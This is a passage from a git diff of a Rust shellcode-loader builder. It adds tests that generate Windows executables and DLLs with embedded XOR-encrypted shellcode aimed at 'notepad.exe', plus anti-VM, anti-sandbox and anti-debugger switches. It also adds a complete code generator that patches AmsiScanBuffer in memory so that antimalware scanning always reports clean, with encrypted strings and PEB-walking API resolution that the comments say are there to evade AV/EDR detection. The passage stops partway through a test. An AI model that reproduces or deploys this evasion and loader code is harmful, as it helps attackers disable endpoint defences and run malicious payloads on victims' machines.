+ // Check executable permissions (Unix only)
+ #[cfg(unix)]
+ {
+ use std::os::unix::fs::PermissionsExt;
+ let metadata = fs::metadata(&binary_path).unwrap();
+ assert!(
+ metadata.permissions().mode() & 0o111 != 0,
+ "binary should be executable"
+ );
+ }
+
+ println!("Binary built with Cargo strip = true setting");
+
+ let _ = env::set_current_dir(&original_dir);
+ let _ = fs::remove_dir_all(&test_dir);
+ }
+
+ #[test]
+ fn test_verify_binary() {
+ let nonexistent = PathBuf::from("/nonexistent/path/binary");
+ let result = verify_binary(&nonexistent);
+ assert!(result.is_err(), "should fail when binary doesn't exist");
+
+ let test_dir = env::temp_dir().join(format!("verify-test-{}", rand::random::<u32>()));
+ fs::create_dir_all(&test_dir).unwrap();
+
+ let fake_binary = test_dir.join("fake_binary");
+ fs::write(
+ &fake_binary,
+ b"this is just some text, not a binary at all!",
+ )
+ .unwrap();
+
+ let _ = verify_binary(&fake_binary);
+
+ let _ = fs::remove_dir_all(&test_dir);
+ }
+
+ #[test]
+ #[ignore = "requires x86_64-pc-windows-gnu target"]
+ fn test_generated_template_with_internals() {
+ let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+ let original_dir = env::current_dir().unwrap();
+
+ struct DirGuard(PathBuf);
+ impl Drop for DirGuard {
+ fn drop(&mut self) {
+ let _ = env::set_current_dir(&self.0);
+ }
+ }
+ let _guard = DirGuard(original_dir.clone());
+
+ let test_dir = env::temp_dir().join(format!("template-test-{}", rand::random::<u32>()));
+ fs::create_dir_all(&test_dir).unwrap();
+ env::set_current_dir(&test_dir).unwrap();
+
+ let encryption_kind = EncryptionKind::XOR;
+ let technique = Technique::CRT;
+
+ let config = BuildConfig {
+ project_name: "template_test",
+ output_name: "template_output",
+ original_cwd: &original_dir,
+ shellcode_data: b"shellcode",
+ binary_format: &BinaryFormat::Exe,
+ encryption_kind: Some(&encryption_kind),
+ encryption_key: Some("test_key_123"),
+ technique: &technique,
+ process: "notepad.exe",
+ with_api_hammering: false,
+ with_amsi_patch: false,
+ with_string_encryption: false,
+ with_dynamic_function_resolver: false,
+ with_anti_vm: false,
+ with_anti_sandbox: false,
+ with_anti_debugger: false,
+ };
+
+ init_rust_project_with_target(&config).unwrap();
+
+ let main_rs = fs::read_to_string("src/main.rs").unwrap();
+ assert!(
+ main_rs.contains("mod internals"),
+ "Generated template should contain internals module"
+ );
+ assert!(
+ main_rs.contains("pub fn hex_to_bytes"),
+ "Generated template should contain hex_to_bytes function"
+ );
+ assert!(
+ main_rs.contains("pub fn bytes_to_hex"),
+ "Generated template should contain bytes_to_hex function"
+ );
+
+ let binary_path = build_release("template_test", &BinaryFormat::Exe).unwrap();
+ assert!(binary_path.exists(), "Binary should be built successfully");
+
+ let _ = env::set_current_dir(&original_dir);
+ let _ = fs::remove_dir_all(&test_dir);
+ }
+
+ #[test]
+ fn test_init_rust_project_dll() {
+ let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+ let test_dir = env::temp_dir().join(format!("dll-project-test-{}", rand::random::<u32>()));
+ fs::create_dir_all(&test_dir).unwrap();
+
+ let original_dir = env::current_dir().unwrap();
+ env::set_current_dir(&test_dir).unwrap();
+
+ let shellcode = b"test shellcode";
+ let encryption_kind = EncryptionKind::XOR;
+ let technique = Technique::CRT;
+
+ let config = BuildConfig {
+ project_name: "test_dll",
+ output_name: "test_output",
+ original_cwd: &original_dir,
+ shellcode_data: shellcode,
+ binary_format: &BinaryFormat::Dll,
+ encryption_kind: Some(&encryption_kind),
+ encryption_key: Some("test_key_123"),
+ technique: &technique,
+ process: "notepad.exe",
+ with_api_hammering: false,
+ with_amsi_patch: false,
+ with_string_encryption: false,
+ with_dynamic_function_resolver: false,
+ with_anti_vm: false,
+ with_anti_sandbox: false,
+ with_anti_debugger: false,
+ };
+
+ let result = init_rust_project(&config);
+ assert!(result.is_ok(), "should successfully initialize DLL project");
+
+ assert!(Path::new("Cargo.toml").exists(), "Cargo.toml should exist");
+ assert!(
+ Path::new("src/lib.rs").exists(),
+ "src/lib.rs should exist for DLL"
+ );
+
+ let cargo_content = fs::read_to_string("Cargo.toml").unwrap();
+ assert!(
+ cargo_content.contains("cdylib"),
+ "Cargo.toml should contain cdylib for DLL"
+ );
+
+ let lib_content = fs::read_to_string("src/lib.rs").unwrap();
+ assert!(
+ lib_content.contains("DllMain"),
+ "lib.rs should contain DllMain for DLL"
+ );
+
+ env::set_current_dir(&original_dir).unwrap();
+ let _ = fs::remove_dir_all(&test_dir);
+ }
+
+ #[test]
+ fn test_shellcode_embedding() {
+ let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+ let test_dir =
+ env::temp_dir().join(format!("shellcode-embed-test-{}", rand::random::<u32>()));
+ fs::create_dir_all(&test_dir).unwrap();
+
+ let original_dir = env::current_dir().unwrap();
+ env::set_current_dir(&test_dir).unwrap();
+
+ let shellcode = b"\x90\x90\x90\xc3";
+ let encryption_kind = EncryptionKind::XOR;
+ let technique = Technique::CRT;
+
+ let config = BuildConfig {
+ project_name: "embed_test",
+ output_name: "embed_output",
+ original_cwd: &original_dir,
+ shellcode_data: shellcode,
+ binary_format: &BinaryFormat::Exe,
+ encryption_kind: Some(&encryption_kind),
+ encryption_key: Some("test_key_123"),
+ technique: &technique,
+ process: "notepad.exe",
+ with_api_hammering: false,
+ with_amsi_patch: false,
+ with_string_encryption: false,
+ with_dynamic_function_resolver: false,
+ with_anti_vm: false,
+ with_anti_sandbox: false,
+ with_anti_debugger: false,
+ };
+
+ let result = init_rust_project(&config);
+ assert!(result.is_ok(), "should successfully initialize project");
+
+ let main_rs = fs::read_to_string("src/main.rs").unwrap();
+ assert!(
+ main_rs.contains("const ENCRYPTED_SHELLCODE: &[u8]"),
+ "main.rs should contain ENCRYPTED_SHELLCODE constant"
+ );
+ assert!(
+ main_rs.contains("const DECRYPTION_KEY: &[u8]"),
+ "main.rs should contain DECRYPTION_KEY constant"
+ );
+ assert!(
+ main_rs.contains("0x") && main_rs.contains("ENCRYPTED_SHELLCODE"),
+ "main.rs should contain embedded encrypted shellcode bytes"
+ );
+
+ env::set_current_dir(&original_dir).unwrap();
+ let _ = fs::remove_dir_all(&test_dir);
+ }
+
+ #[test]
+ fn test_format_bytes_as_array() {
+ let bytes = vec![0x01, 0x02, 0xFF];
+ let result = format_bytes_as_array(&bytes);
+ assert_eq!(result, "[0x01, 0x02, 0xff]");
+
+ let empty: Vec<u8> = vec![];
+ let result = format_bytes_as_array(&empty);
+ assert_eq!(result, "[]");
+ }
+
+ #[test]
+ fn test_build_env_builder_missing_fields() {
+ let result = BuildEnv::new().build();
+ assert!(result.is_err(), "should fail when project name is missing");
+ assert!(result
+ .unwrap_err()
+ .to_string()
+ .contains("Project name is required"));
+
+ let result = BuildEnv::new().with_project_name("test").build();
+ assert!(result.is_err(), "should fail when output name is missing");
+ assert!(result
+ .unwrap_err()
+ .to_string()
+ .contains("Output name is required"));
+ }
+
+ #[test]
+ fn test_build_env_builder_pattern() {
+ let _lock = TEST_DIR_MUTEX.lock().unwrap_or_else(|e| e.into_inner());
+
+ let original_dir = env::current_dir().unwrap();
+ let work_dir = env::temp_dir().join(format!("builder-work-{}", rand::random::<u32>()));
+ let output_dir = env::temp_dir().join(format!("builder-out-{}", rand::random::<u32>()));
+ fs::create_dir_all(&work_dir).unwrap();
+ fs::create_dir_all(&output_dir).unwrap();
+
+ env::set_current_dir(&work_dir).unwrap();
+
+ let shellcode = b"test";
+ let _result = BuildEnv::new()
+ .with_project_name("test_project")
+ .with_output_name("output.exe")
+ .with_original_cwd(&output_dir)
+ .with_shellcode(shellcode)
+ .with_binary_format(&BinaryFormat::Exe)
+ .build();
+
+ env::set_current_dir(&original_dir).unwrap();
+ let _ = fs::remove_dir_all(&work_dir);
+ let _ = fs::remove_dir_all(&output_dir);
+ }
+}
diff --git a/src/internals/mod.rs b/src/internals/mod.rs
@@ -0,0 +1,149 @@
+pub mod lnk_generator;
+mod loader;
+pub mod templates;
+
+pub mod dependencies;
+
+pub use loader::*;
+
+include!(concat!(env!("OUT_DIR"), "/internals_impl.rs"));
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_internals_source_with_decryption_xor() {
+ let source = templates::generate_internals_source_with_decryption("xor").unwrap();
+ assert!(
+ source.contains("pub fn decrypt_xor"),
+ "Should contain XOR decryption function"
+ );
+ assert!(
+ source.contains("xor_bytes(data, key)"),
+ "Should use xor_bytes for XOR decryption"
+ );
+ }
+
+ #[test]
+ fn test_generate_internals_source_with_decryption_aes() {
+ let source = templates::generate_internals_source_with_decryption("aes").unwrap();
+ assert!(
+ source.contains("pub fn decrypt_aes"),
+ "Should contain AES decryption function"
+ );
+ assert!(
+ source.contains("Aes128CbcDec"),
+ "Should use AES128 CBC decryptor"
+ );
+ assert!(
+ source.contains("Key must be 16 bytes"),
+ "Should validate key length"
+ );
+ }
+
+ #[test]
+ fn test_generate_internals_source_with_decryption_chacha20() {
+ let source = templates::generate_internals_source_with_decryption("chacha20").unwrap();
+ assert!(
+ source.contains("pub fn decrypt_chacha20"),
+ "Should contain ChaCha20 decryption function"
+ );
+ assert!(source.contains("ChaCha20"), "Should use ChaCha20 cipher");
+ assert!(
+ source.contains("Key must be 32 bytes"),
+ "Should validate key length"
+ );
+ }
+
+ #[test]
+ fn test_generate_internals_source_with_decryption_blowfish() {
+ let source = templates::generate_internals_source_with_decryption("blowfish").unwrap();
+ assert!(
+ source.contains("pub fn decrypt_blowfish"),
+ "Should contain Blowfish decryption function"
+ );
+ assert!(
+ source.contains("BlowfishCbcDec"),
+ "Should use Blowfish CBC decryptor"
+ );
+ assert!(
+ source.contains("between 1 and 56 bytes"),
+ "Should validate key length"
+ );
+ }
+
+ #[test]
+ fn test_generate_internals_source_with_decryption_unknown() {
+ let result = templates::generate_internals_source_with_decryption("unknown");
+ assert!(
+ result.is_err(),
+ "Should return error for unknown encryption type"
+ );
+ assert!(
+ result.unwrap_err().contains("Unknown encryption type"),
+ "Error should mention unknown type"
+ );
+ }
+
+ #[test]
+ fn test_generate_internals_source_with_decryption_aes256() {
+ let source = templates::generate_internals_source_with_decryption("aes256").unwrap();
+ assert!(
+ source.contains("pub fn decrypt_aes256"),
+ "Should contain AES-256 decryption function"
+ );
+ assert!(
+ source.contains("Aes256CbcDec"),
+ "Should use AES256 CBC decryptor"
+ );
+ assert!(
+ source.contains("Key must be 32 bytes"),
+ "Should validate key length"
+ );
+ }
+
+ #[test]
+ fn test_generate_internals_source_with_decryption_twofish() {
+ let source = templates::generate_internals_source_with_decryption("twofish").unwrap();
+ assert!(
+ source.contains("pub fn decrypt_twofish"),
+ "Should contain Twofish decryption function"
+ );
+ assert!(
+ source.contains("TwofishCbcDec"),
+ "Should use Twofish CBC decryptor"
+ );
+ assert!(
+ source.contains("Key must be 32 bytes"),
+ "Should validate key length"
+ );
+ }
+
+ #[test]
+ fn test_generate_internals_source_with_decryption_camellia() {
+ let source = templates::generate_internals_source_with_decryption("camellia").unwrap();
+ assert!(
+ source.contains("pub fn decrypt_camellia"),
+ "Should contain Camellia decryption function"
+ );
+ assert!(
+ source.contains("Camellia256CbcDec"),
+ "Should use Camellia256 CBC decryptor"
+ );
+ assert!(
+ source.contains("Key must be 32 bytes"),
+ "Should validate key length"
+ );
+ }
+
+ #[test]
+ fn test_generate_internals_source_without_decryption() {
+ let result = templates::generate_internals_source_with_decryption("");
+ assert!(result.is_err(), "Empty encryption type should return error");
+ assert!(
+ result.unwrap_err().contains("cannot be empty"),
+ "Error should mention empty type"
+ );
+ }
+}
diff --git a/src/internals/templates/amsi_patch.rs b/src/internals/templates/amsi_patch.rs
@@ -0,0 +1,596 @@
+//! AMSI Patch Code Generation
+//!
+//! This module generates code for patching Windows Antimalware Scan Interface (AMSI)
+//! to bypass runtime script scanning. The technique works by modifying the AmsiScanBuffer
+//! function in amsi.dll to always return a clean result.
+//!
+//! # AMSI Bypass Technique
+//!
+//! The patch searches for a specific byte pattern (0xC3 0xCC 0xCC) in AmsiScanBuffer,
+//! then scans backwards to find a conditional jump instruction (0x74) that can be
+//! modified to an unconditional jump (0x75), causing the function to always return
+//! success without actually scanning the content.
+//!
+//! # Builder Pattern
+//!
+//! The `AmsiPatchBuilder` provides a flexible way to generate AMSI patch code with
+//! different configurations:
+//!
+//! - **Basic**: Static imports, plaintext strings
+//! - **String Encryption**: Encrypted "amsi.dll" and "AmsiScanBuffer" strings
+//! - **Dynamic Resolver**: Dynamically resolve API functions at runtime
+//!
+//! # Example
+//!
+//! ```
+//! use myph_v2::internals::templates::AmsiPatchBuilder;
+//!
+//! // Basic AMSI patch
+//! let code = AmsiPatchBuilder::new().build();
+//!
+//! // With string encryption
+//! let code = AmsiPatchBuilder::new()
+//! .with_string_encryption("[encrypted]", "[encrypted]", "[key]", "decrypt_fn", "")
+//! .build();
+//! ```
+
+/// Builder for generating AMSI patch code with configurable features
+pub struct AmsiPatchBuilder<'a> {
+ with_string_encryption: bool,
+ with_dynamic_resolver: bool,
+ dll_array: Option<&'a str>,
+ func_array: Option<&'a str>,
+ key_array: Option<&'a str>,
+ decrypt_fn: Option<&'a str>,
+ expect_clause: Option<&'a str>,
+ dynamic_params: Option<DynamicResolverParams<'a>>,
+}
+
+/// Parameters for dynamic function resolution in AMSI patching
+struct DynamicResolverParams<'a> {
+ dll_resolver: &'a str,
+ func_resolver: &'a str,
+ load_library_resolver: &'a str,
+ load_library_cast: &'a str,
+ get_proc_address_resolver: &'a str,
+ get_proc_address_cast: &'a str,
+ virtual_protect_resolver: &'a str,
+ virtual_protect_cast: &'a str,
+}
+
+impl<'a> AmsiPatchBuilder<'a> {
+ pub fn new() -> Self {
+ Self {
+ with_string_encryption: false,
+ with_dynamic_resolver: false,
+ dll_array: None,
+ func_array: None,
+ key_array: None,
+ decrypt_fn: None,
+ expect_clause: None,
+ dynamic_params: None,
+ }
+ }
+
+ pub fn with_string_encryption(
+ mut self,
+ dll_array: &'a str,
+ func_array: &'a str,
+ key_array: &'a str,
+ decrypt_fn: &'a str,
+ expect_clause: &'a str,
+ ) -> Self {
+ self.with_string_encryption = true;
+ self.dll_array = Some(dll_array);
+ self.func_array = Some(func_array);
+ self.key_array = Some(key_array);
+ self.decrypt_fn = Some(decrypt_fn);
+ self.expect_clause = Some(expect_clause);
+ self
+ }
+
+ #[allow(clippy::too_many_arguments)]
+ pub fn with_dynamic_resolver(
+ mut self,
+ dll_resolver: &'a str,
+ func_resolver: &'a str,
+ load_library_resolver: &'a str,
+ load_library_cast: &'a str,
+ get_proc_address_resolver: &'a str,
+ get_proc_address_cast: &'a str,
+ virtual_protect_resolver: &'a str,
+ virtual_protect_cast: &'a str,
+ ) -> Self {
+ self.with_dynamic_resolver = true;
+ self.dynamic_params = Some(DynamicResolverParams {
+ dll_resolver,
+ func_resolver,
+ load_library_resolver,
+ load_library_cast,
+ get_proc_address_resolver,
+ get_proc_address_cast,
+ virtual_protect_resolver,
+ virtual_protect_cast,
+ });
+ self
+ }
+
+ pub fn build(self) -> String {
+ let imports = generate_imports_section(self.with_dynamic_resolver);
+ let string_loading = generate_string_loading_section(StringLoadingParams {
+ with_string_encryption: self.with_string_encryption,
+ with_dynamic_resolver: self.with_dynamic_resolver,
+ dll_array: self.dll_array,
+ func_array: self.func_array,
+ key_array: self.key_array,
+ decrypt_fn: self.decrypt_fn,
+ expect_clause: self.expect_clause,
+ dynamic_params: self.dynamic_params.as_ref(),
+ });
+ let api_resolution = generate_api_resolution_section(
+ self.with_dynamic_resolver,
+ self.dynamic_params.as_ref(),
+ );
+ let protection_resolution = generate_protection_resolution_section(
+ self.with_dynamic_resolver,
+ self.dynamic_params.as_ref(),
+ );
+ let patch_logic = generate_patch_logic();
+
+ let load_library_fn = if self.with_dynamic_resolver {
+ "load_library_a"
+ } else {
+ "LoadLibraryA"
+ };
+ let get_proc_address_fn = if self.with_dynamic_resolver {
+ "get_proc_address"
+ } else {
+ "GetProcAddress"
+ };
+ let virtual_protect_fn = if self.with_dynamic_resolver {
+ "virtual_protect"
+ } else {
+ "VirtualProtect"
+ };
+
+ format!(
+ r#"
+{imports}
+
+const SEARCH_SIZE: usize = 0x1000;
+
+fn patch_amsi() -> Result<(), String> {{
+ unsafe {{
+ let patch_opcode = 0x75u8;
+
+{string_loading}
+
+{api_resolution}
+
+ let h_module = {load_library_fn}(amsi_dll.as_ptr());
+ if h_module.is_null() {{
+ return Err("Failed to load amsi.dll".to_string());
+ }}
+
+ let address = {get_proc_address_fn}(h_module, amsi_scan_buffer.as_ptr());
+ if address.is_null() {{
+ return Err("Failed to get AmsiScanBuffer address".to_string());
+ }}
+
+{patch_logic}
+
+{protection_resolution}
+
+ if {virtual_protect_fn}(p_patch_address, 1, page_execute_readwrite, &mut old_protect) == 0 {{
+ return Err("Failed to change memory protection".to_string());
+ }}
+
+ *(p_patch_address as *mut u8) = patch_opcode;
+
+ if {virtual_protect_fn}(p_patch_address, 1, old_protect, &mut old_protect) == 0 {{
+ return Err("Failed to restore memory protection".to_string());
+ }}
+ }}
+
+ Ok(())
+}}
+"#
+ )
+ }
+}
+
+impl Default for AmsiPatchBuilder<'_> {
+ fn default() -> Self {
+ Self::new()
+ }
+}
+
+fn generate_imports_section(with_dynamic_resolver: bool) -> String {
+ if with_dynamic_resolver {
+ "use std::ptr::null_mut;".to_string()
+ } else {
+ r#"use std::ptr::null_mut;
+
+#[link(name = "kernel32")]
+extern "system" {
+ fn LoadLibraryA(lp_lib_file_name: *const u8) -> *mut c_void;
+ fn GetProcAddress(h_module: *mut c_void, lp_proc_name: *const u8) -> *mut c_void;
+}"#
+ .to_string()
+ }
+}
+
+struct StringLoadingParams<'a> {
+ with_string_encryption: bool,
+ with_dynamic_resolver: bool,
+ dll_array: Option<&'a str>,
+ func_array: Option<&'a str>,
+ key_array: Option<&'a str>,
+ decrypt_fn: Option<&'a str>,
+ expect_clause: Option<&'a str>,
+ dynamic_params: Option<&'a DynamicResolverParams<'a>>,
+}
+
+fn generate_string_loading_section(params: StringLoadingParams) -> String {
+ if params.with_dynamic_resolver {
+ let dyn_params = params.dynamic_params.unwrap();
+ format!(
+ r#" {}
+ {}
+
+ let mut amsi_dll = amsi_dll_decrypted;
+ amsi_dll.push(0);
+
+ let mut amsi_scan_buffer = amsi_func_decrypted;
+ amsi_scan_buffer.push(0);"#,
+ dyn_params.dll_resolver, dyn_params.func_resolver
+ )
+ } else if params.with_string_encryption {
+ format!(
+ r#" const ENCRYPTED_AMSI_DLL: &[u8] = &{};
+ const ENCRYPTED_AMSI_FUNC: &[u8] = &{};
+ const AMSI_KEY: &[u8] = &{};
+
+ let amsi_dll_decrypted = {}(ENCRYPTED_AMSI_DLL, AMSI_KEY){};
+ let amsi_func_decrypted = {}(ENCRYPTED_AMSI_FUNC, AMSI_KEY){};
+
+ let mut amsi_dll = amsi_dll_decrypted;
+ amsi_dll.push(0);
+
+ let mut amsi_scan_buffer = amsi_func_decrypted;
+ amsi_scan_buffer.push(0);"#,
+ params.dll_array.unwrap_or(""),
+ params.func_array.unwrap_or(""),
+ params.key_array.unwrap_or(""),
+ params.decrypt_fn.unwrap_or(""),
+ params.expect_clause.unwrap_or(""),
+ params.decrypt_fn.unwrap_or(""),
+ params.expect_clause.unwrap_or("")
+ )
+ } else {
+ r#" let amsi_dll = b"amsi.dll\0";
+ let amsi_scan_buffer = b"AmsiScanBuffer\0";"#
+ .to_string()
+ }
+}
+
+fn generate_api_resolution_section(
+ with_dynamic_resolver: bool,
+ dynamic_params: Option<&DynamicResolverParams>,
+) -> String {
+ if with_dynamic_resolver {
+ let params = dynamic_params.unwrap();
+ format!(
+ r#" {}
+ {}
+
+ {}
+ {}"#,
+ params.load_library_resolver,
+ params.load_library_cast,
+ params.get_proc_address_resolver,
+ params.get_proc_address_cast
+ )
+ } else {
+ String::new()
+ }
+}
+
+fn generate_protection_resolution_section(
+ with_dynamic_resolver: bool,
+ dynamic_params: Option<&DynamicResolverParams>,
+) -> String {
+ if with_dynamic_resolver {
+ let params = dynamic_params.unwrap();
+ format!(
+ r#" let mut old_protect: u32 = 0;
+ let page_execute_readwrite: u32 = 0x40;
+
+ {}
+ {}"#,
+ params.virtual_protect_resolver, params.virtual_protect_cast
+ )
+ } else {
+ r#" let mut old_protect: u32 = 0;
+ let page_execute_readwrite: u32 = 0x40;"#
+ .to_string()
+ }
+}
+
+fn generate_patch_logic() -> String {
+ r#" let pattern = [0xC3u8, 0xCCu8, 0xCCu8];
+ let mut p_patch_address: *mut c_void = null_mut();
+ let bytes = std::slice::from_raw_parts(address as *const u8, SEARCH_SIZE);
+
+ if let Some(x) = bytes.windows(pattern.len()).position(|window| window == pattern) {{
+ for i in (0..x).rev() {{
+ if bytes[i] == 0x74 {{
+ let offset = bytes.get(i + 1).copied().unwrap_or(0);
+ let target_index = i.wrapping_add(2).wrapping_add(offset as usize);
+
+ if target_index < SEARCH_SIZE && bytes.get(target_index) == Some(&0xB8) {{
+ p_patch_address = (address as *const u8).add(i) as *mut c_void;
+ break;
+ }}
+ }}
+ }}
+ }}
+
+ if p_patch_address.is_null() {{
+ return Err("Failed to find patch location".to_string());
+ }}"#
+ .to_string()
+}
+
+/// Generates basic AMSI patch code with static imports and plaintext strings.
+///
+/// This is the simplest form of AMSI patching, using standard Windows API imports
+/// and unencrypted strings. Suitable when stealth is not a primary concern.
+///
+/// # Returns
+///
+/// A Rust code string containing the `patch_amsi()` function with static imports.
+pub fn generate_amsi_patch_code() -> String {
+ AmsiPatchBuilder::new().build()
+}
+
+/// Generates AMSI patch code with encrypted strings for "amsi.dll" and "AmsiScanBuffer".
+///
+/// This variant encrypts the critical strings to avoid static detection by AV/EDR solutions.
+/// The strings are decrypted at runtime before use.
+///
+/// # Arguments
+///
+/// * `dll_array` - Encrypted byte array for "amsi.dll"
+/// * `func_array` - Encrypted byte array for "AmsiScanBuffer"
+/// * `key_array` - Encryption key byte array
+/// * `decrypt_fn` - Name of the decryption function to call
+/// * `expect_clause` - Optional expect clause for error handling (e.g., ".expect(\"msg\")")
+///
+/// # Returns
+///
+/// A Rust code string containing the `patch_amsi()` function with string encryption.
+pub fn generate_amsi_patch_code_with_string_encryption(
+ dll_array: &str,
+ func_array: &str,
+ key_array: &str,
+ decrypt_fn: &str,
+ expect_clause: &str,
+) -> String {
+ AmsiPatchBuilder::new()
+ .with_string_encryption(dll_array, func_array, key_array, decrypt_fn, expect_clause)
+ .build()
+}
+
+/// Parameters for AMSI patching with dynamic function resolution.
+///
+/// These parameters provide the code snippets needed to dynamically resolve
+/// Windows API functions at runtime, avoiding static IAT entries.
+pub struct AmsiDynamicResolverParams<'a> {
+ pub dll_resolver: &'a str,
+ pub func_resolver: &'a str,
+ pub load_library_resolver: &'a str,
+ pub load_library_cast: &'a str,
+ pub get_proc_address_resolver: &'a str,
+ pub get_proc_address_cast: &'a str,
+ pub virtual_protect_resolver: &'a str,
+ pub virtual_protect_cast: &'a str,
+}
+
+/// Generates AMSI patch code with dynamic function resolution.
+///
+/// This is the most sophisticated variant, resolving all required Windows API functions
+/// at runtime through PEB walking. This avoids static imports in the IAT and makes
+/// static analysis more difficult.
+///
+/// # Arguments
+///
+/// * `params` - Configuration for dynamic function resolution including code snippets
+/// for resolving LoadLibraryA, GetProcAddress, and VirtualProtect
+///
+/// # Returns
+///
+/// A Rust code string containing the `patch_amsi()` function with dynamic resolution.
+pub fn generate_amsi_patch_code_with_dynamic_resolver(params: AmsiDynamicResolverParams) -> String {
+ AmsiPatchBuilder::new()
+ .with_dynamic_resolver(
+ params.dll_resolver,
+ params.func_resolver,
+ params.load_library_resolver,
+ params.load_library_cast,
+ params.get_proc_address_resolver,
+ params.get_proc_address_cast,
+ params.virtual_protect_resolver,
+ params.virtual_protect_cast,
+ )
+ .build()
+}
+
+#[cfg(test)]
+mod tests {
+ use super::*;
+
+ #[test]
+ fn test_generate_amsi_patch_code_basic() {
+ let code = generate_amsi_patch_code();
+ assert!(code.contains("fn patch_amsi() -> Result<(), String>"));
+ assert!(code.contains("const SEARCH_SIZE: usize = 0x1000"));
+ assert!(code.contains("let amsi_dll = b\"amsi.dll\\0\""));
+ assert!(code.contains("let amsi_scan_buffer = b\"AmsiScanBuffer\\0\""));
+ assert!(code.contains("LoadLibraryA"));
+ assert!(code.contains("GetProcAddress"));
+ assert!(code.contains("let patch_opcode = 0x75u8"));
+ assert!(code.contains("#[link(name = \"kernel32\")]"));
+ }
+
+ #[test]
+ fn test_generate_amsi_patch_code_with_string_encryption() {
+ let dll_array = "[1, 2, 3]";
+ let func_array = "[4, 5, 6]";
+ let key_array = "[7, 8, 9]";
+ let decrypt_fn = "internals::decrypt_xor";
+ let expect_clause = "";
+
+ let code = generate_amsi_patch_code_with_string_encryption(
+ dll_array,
+ func_array,
+ key_array,
+ decrypt_fn,
+ expect_clause,
+ );
+
+ assert!(code.contains("fn patch_amsi() -> Result<(), String>"));
+ assert!(code.contains("const ENCRYPTED_AMSI_DLL: &[u8] = &[1, 2, 3]"));
+ assert!(code.contains("const ENCRYPTED_AMSI_FUNC: &[u8] = &[4, 5, 6]"));
+ assert!(code.contains("const AMSI_KEY: &[u8] = &[7, 8, 9]"));
+ assert!(code.contains("internals::decrypt_xor"));
+ assert!(code.contains("let mut amsi_dll = amsi_dll_decrypted"));
+ assert!(code.contains("amsi_dll.push(0)"));
+ assert!(code.contains("#[link(name = \"kernel32\")]"));
+ }
+
+ #[test]
+ fn test_generate_amsi_patch_code_with_dynamic_resolver() {
+ let params = AmsiDynamicResolverParams {
+ dll_resolver: "let amsi_dll_decrypted = vec![1, 2, 3];",
+ func_resolver: "let amsi_func_decrypted = vec![4, 5, 6];",
+ load_library_resolver: "let load_lib_ptr = resolve_function();",
+ load_library_cast: "let load_library_a = std::mem::transmute(load_lib_ptr);",
+ get_proc_address_resolver: "let get_proc_ptr = resolve_function();",
+ get_proc_address_cast: "let get_proc_address = std::mem::transmute(get_proc_ptr);",
+ virtual_protect_resolver: "let vp_ptr = resolve_function();",
+ virtual_protect_cast: "let virtual_protect = std::mem::transmute(vp_ptr);",
+ };
+
+ let code = generate_amsi_patch_code_with_dynamic_resolver(params);
+
+ assert!(code.contains("fn patch_amsi() -> Result<(), String>"));
+ assert!(code.contains("let amsi_dll_decrypted = vec![1, 2, 3]"));
+ assert!(code.contains("let amsi_func_decrypted = vec![4, 5, 6]"));
+ assert!(code.contains("let load_lib_ptr = resolve_function()"));
+ assert!(code.contains("let get_proc_ptr = resolve_function()"));
+ assert!(code.contains("let vp_ptr = resolve_function()"));
+ assert!(!code.contains("#[link(name = \"kernel32\")]"));
+ assert!(code.contains("load_library_a(amsi_dll.as_ptr())"));
+ assert!(code.contains("get_proc_address(h_module, amsi_scan_buffer.as_ptr())"));
+ assert!(code.contains("virtual_protect(p_patch_address"));
+ }
+
+ #[test]
+ fn test_amsi_patch_builder_basic() {
+ let code = AmsiPatchBuilder::new().build();
+ assert!(code.contains("fn patch_amsi() -> Result<(), String>"));
+ assert!(code.contains("let amsi_dll = b\"amsi.dll\\0\""));
+ }
+
+ #[test]
+ fn test_amsi_patch_builder_with_string_encryption() {
+ let code = AmsiPatchBuilder::new()
+ .with_string_encryption(
+ "[10, 20, 30]",
+ "[40, 50, 60]",
+ "[70, 80, 90]",
+ "decrypt_aes",
+ ".expect(\"Failed\")",
+ )
+ .build();
+
+ assert!(code.contains("const ENCRYPTED_AMSI_DLL: &[u8] = &[10, 20, 30]"));
+ assert!(code.contains("decrypt_aes"));
+ assert!(code.contains(".expect(\"Failed\")"));
+ }
+
+ #[test]
+ fn test_amsi_patch_builder_with_dynamic_resolver() {
+ let code = AmsiPatchBuilder::new()
+ .with_dynamic_resolver(
+ "dll_resolve",
+ "func_resolve",
+ "load_lib_resolve",
+ "load_lib_cast",
+ "getproc_resolve",
+ "getproc_cast",
+ "vp_resolve",
+ "vp_cast",
+ )
+ .build();
+
+ assert!(code.contains("dll_resolve"));
+ assert!(code.contains("func_resolve"));
+ assert!(code.contains("load_lib_resolve"));
+ assert!(code.contains("vp_resolve"));
+ assert!(!code.contains("#[link(name = \"kernel32\")]"));
+ }
+
+ #[test]
+ fn test_all_variants_contain_common_logic() {
+ let basic = generate_amsi_patch_code();
+ let encrypted =
+ generate_amsi_patch_code_with_string_encryption("[1]", "[2]", "[3]", "decrypt", "");
+ let dynamic = generate_amsi_patch_code_with_dynamic_resolver(AmsiDynamicResolverParams {
+ dll_resolver: "let amsi_dll_decrypted = vec![];",
+ func_resolver: "let amsi_func_decrypted = vec![];",
+ load_library_resolver: "",
+ load_library_cast: "",
+ get_proc_address_resolver: "",
+ get_proc_address_cast: "",
+ virtual_protect_resolver: "",
+ virtual_protect_cast: "",
+ });
+
+ for code in [basic, encrypted, dynamic] {
+ assert!(code.contains("const SEARCH_SIZE: usize = 0x1000"));
+ assert!(code.contains("let patch_opcode = 0x75u8"));
+ assert!(code.contains("let pattern = [0xC3u8, 0xCCu8, 0xCCu8]"));
+ assert!(code.contains("Failed to find patch location"));
+ assert!(code.contains("if bytes[i] == 0x74"));
+ assert!(code.contains("let page_execute_readwrite: u32 = 0x40"));
+ }
+ }
+
+ #[test]
+ fn test_generate_imports_section() {
+ let with_static = generate_imports_section(false);
+ assert!(with_static.contains("#[link(name = \"kernel32\")]"));
+ assert!(with_static.contains("LoadLibraryA"));
+
+ let with_dynamic = generate_imports_section(true);
+ assert!(!with_dynamic.contains("#[link(name = \"kernel32\")]"));
+ assert!(with_dynamic.contains("use std::ptr::null_mut"));
+ }
+
+ #[test]
+ fn test_generate_patch_logic() {
+ let logic = generate_patch_logic();
